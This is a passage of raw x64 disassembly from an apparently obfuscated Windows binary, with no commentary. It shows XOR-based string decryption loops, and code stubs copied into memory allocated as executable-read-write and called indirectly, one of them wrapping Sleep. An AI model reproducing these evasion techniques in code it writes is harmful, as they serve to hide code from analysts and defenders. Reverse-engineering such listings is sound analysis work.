movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140210740
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290da0]
lea rcx, [0x14021bd00]
mov qword [r14 + rax*8 + 0x290430], rcx
mov qword [r14 + rax*8 + 0x292a30], r8
inc rax
mov qword [0x140290da0], rax
lea rdx, [rsp + 0xf0]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe60], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
movups xmm0, xmmword [0x14026e720]
movups xmmword [rsp + 0x700], xmm0
movups xmm1, xmmword [0x14026e730]
movups xmmword [rsp + 0x710], xmm1
movups xmm0, xmmword [0x14026e740]
movups xmmword [rsp + 0x720], xmm0
movsd xmm0, qword [0x14026e750]
movsd qword [rsp + 0x730], xmm0
cmp dword [0x140284008], 2
jl 0x140210a87
mov edx, esi
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x704]
nop dword [rax + rax]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1402108a0
jmp 0x140210af4
lea r10, [rsp + 0x700]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140210aa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x578], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x588], xmm1
lea rax, [rsp + 0x700]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140210b20
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x578]
call fcn.1401d50a0
nop
lea rcx, [rsp + 0x578]
call fcn.1401c68c0
nop
lea rcx, [rsp + 0x578]
call fcn.140219ac0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xf4], 0x1f4
xorps xmm0, xmm0
movups xmmword [rsp + 0xdf8], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xe00], r12
mov qword [rsp + 0xe08], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xdf8], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140290430]
test rax, rax
je 0x140210bea
mov r8, rsi
lea rdx, [0x14021bd00]
nop
cmp rax, rdx
je 0x140210bd9
inc ecx
mov r8d, ecx
mov rax, qword [r14 + rcx*8 + 0x290430]
test rax, rax
jne 0x140210bc0
jmp 0x140210bea
mov r8, qword [r14 + r8*8 + 0x292a30]
test r8, r8
jne 0x140210cd6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140210c11
mov r8, rsi
jmp 0x140210cae
lea rax, [0x14021bd00]
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140210c20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290da0]
lea rcx, [0x14021bd00]
mov qword [r14 + rax*8 + 0x290430], rcx
mov qword [r14 + rax*8 + 0x292a30], r8
inc rax
mov qword [0x140290da0], rax
lea rdx, [rsp + 0xf4]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xdf8], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
movups xmm0, xmmword [0x14026fec8]
movups xmmword [rsp + 0x738], xmm0
movups xmm1, xmmword [0x14026fed8]
movups xmmword [rsp + 0x748], xmm1
movups xmm0, xmmword [0x14026fee8]
movups xmmword [rsp + 0x758], xmm0
movsd xmm0, qword [0x14026fef8]
movsd qword [rsp + 0x768], xmm0
cmp dword [0x140284008], 2
jl 0x140210f67
mov edx, esi
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x73c]
nop dword [rax + rax]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140210d80
jmp 0x140210fd4
lea r10, [rsp + 0x738]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140210f80
xorps xmm0, xmm0
movups xmmword [rsp + 0x638], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x648], xmm1
lea rax, [rsp + 0x738]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140211000
lea rdx, [rsp + 0x738]
lea rcx, [rsp + 0x638]
call fcn.1401d50a0
nop
lea rcx, [rsp + 0x638]
call fcn.1401c68c0
nop
lea rcx, [rsp + 0x638]
call fcn.140219ac0
movups xmm0, xmmword [0x14026e8f8]
movups xmmword [rsp + 0x120], xmm0
movzx eax, word [0x14026e908]
mov word [rsp + 0x130], ax
cmp byte [0x14026e909], 0
je 0x140211304
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x140211293
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x124]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm7
pmuldq xmm4, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272840]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272920]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x1402110a4
cmp r9d, 0x12
jge 0x140211304
movsxd rax, r9d
lea r10, [rsp + 0x120]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x1402112b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x318], xmm0
mov qword [rsp + 0x328], rsi
mov qword [rsp + 0x330], rsi
lea rax, [rsp + 0x120]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140211327
mov r8, rbx
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x318]
call fcn.1401d50a0
lea rcx, [rsp + 0x318]
call fcn.1401c8980
xorps xmm0, xmm0
movups xmmword [rsp + 0xdb0], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xdb8], r12
mov qword [rsp + 0xdc0], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xdb0], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402920a0]
lea rbx, [0x14021c900]
test rax, rax
je 0x1402113cf
mov rdx, rsi
cmp rax, rbx
je 0x1402113be
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2920a0]
test rax, rax
jne 0x1402113a6
jmp 0x1402113cf
mov rdx, qword [r14 + rdx*8 + 0x294040]
test rdx, rdx
jne 0x1402114af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1402113f6
mov rdx, rsi
jmp 0x14021148e
mov rax, rbx
mov rcx, rdx
mov r8, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140211400
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140292d68]
mov qword [r14 + rax*8 + 0x2920a0], rbx
mov qword [r14 + rax*8 + 0x294040], rdx
inc rax
mov qword [0x140292d68], rax
lea rcx, [0x1401dbb90]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xdb0], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
movups xmm0, xmmword [0x140271bb0]
movups xmmword [rsp + 0x990], xmm0
movups xmm1, xmmword [0x140271bc0]
movups xmmword [rsp + 0x9a0], xmm1
movups xmm0, xmmword [0x140271bd0]
movups xmmword [rsp + 0x9b0], xmm0
movups xmm1, xmmword [0x140271be0]
movups xmmword [rsp + 0x9c0], xmm1
movups xmm0, xmmword [0x140271bf0]
movups xmmword [rsp + 0x9d0], xmm0
movups xmm1, xmmword [0x140271c00]
movups xmmword [rsp + 0x9e0], xmm1
movups xmm0, xmmword [0x140271c10]
movups xmmword [rsp + 0x9f0], xmm0
movups xmm1, xmmword [0x140271c20]
movups xmmword [rsp + 0xa00], xmm1
movsd xmm0, qword [str.ID_vOO]
movsd qword [rsp + 0xa10], xmm0
movzx eax, byte [0x140271c38]
mov byte [rsp + 0xa18], al
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x1402117a5
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x994]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x1402115b0
cmp r9d, 0x89
jge 0x140211817
movsxd rax, r9d
lea r10, [rsp + 0x990]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x1402117c0
lea rax, [rsp + 0x990]
mov qword [rsp + 0x250], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe28], xmm0
lea rax, [rsp + 0xca38]
mov qword [rsp + 0xe30], r12
mov qword [rsp + 0xe38], rax
mov rbx, qword [rax]
xor rbx, r12
mov qword [rsp + 0xe28], rbx
mov qword [rax], rsi
mov edx, esi
mov rcx, qword [0x140290a80]
test rcx, rcx
je 0x14021189d
mov r8, rsi
lea rax, [0x14021bcd0]
cmp rcx, rax
je 0x14021188c
inc edx
mov r8d, edx
mov rcx, qword [r14 + rdx*8 + 0x290a80]
test rcx, rcx
jne 0x140211873
jmp 0x14021189d
mov r8, qword [r14 + r8*8 + 0x290110]
test r8, r8
jne 0x14021198f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [0x14021bcd0]
test rax, rax
jne 0x1402118cb
mov r8, rsi
jmp 0x14021196e
mov rax, rdx
mov rcx, r8
mov r9, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r9, 1
jne 0x1402118e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028fa90]
mov qword [r14 + rax*8 + 0x290a80], rdx
mov qword [r14 + rax*8 + 0x290110], r8
inc rax
mov qword [0x14028fa90], rax
lea rdx, [rsp + 0x250]
mov rcx, rdi
call r8
nop
xor rbx, r12
mov qword [rsp + 0xe28], rbx
lea rax, [rsp + 0xca38]
mov qword [rax], rbx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xc194], 0xffffffff
